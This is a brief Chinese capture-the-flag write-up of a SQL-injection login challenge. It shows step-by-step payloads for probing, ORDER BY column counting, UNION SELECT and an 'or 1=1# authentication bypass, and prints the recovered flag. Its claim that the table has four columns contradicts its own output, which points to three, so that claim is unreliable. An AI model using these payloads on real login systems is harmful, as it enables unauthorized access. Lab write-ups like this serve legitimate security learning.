点击链接进入环境发现是一个登录界面
我的思路：
第一步、测试注入点（tips：利用单引号，and 1=1， or 1=1之类的，%23为#注释符的url编码）判断是字符型还是数字型

payload：username=1' &password=123（SQL tyntax）

payload：username=1' %23&password=123（说明存在注入点）

第二步、利用order by查表的列数

payload：username=1' order by 1%23&password=123（NO,Wrong username password！！！）
payload：username=1' order by 2%23&password=123（NO,Wrong username password！！！）
payload：username=1' order by 3%23&password=123（NO,Wrong username password！！！）
payload：username=1' order by 4%23&password=123（Unknown column '4' in 'order clause'）
说明表只有四列

第三步、如有回显，找到回显位（回显，就是显示正在执行的批处理命令及执行的结果等）
 

payload：username=1' union select 1,2,3%23&password=123

flag{cb71f2ab-7fea-42d9-bf34-41755337fada}
发现在查找回显位的这一步就出现了flag，都用不到爆库

第四步、利用union select 爆库、爆表、爆字段名、爆值
 

看大佬wp发现还有一种更简单的方法：

实际上这道题是登录成功就可以拿到flag
在用户名和密码都填：
payload:'or 1=1#
由于用户名和密码都存在sql注入漏洞，可以用'闭合前面的查询语句同时用or绕过判断

★URL编码表：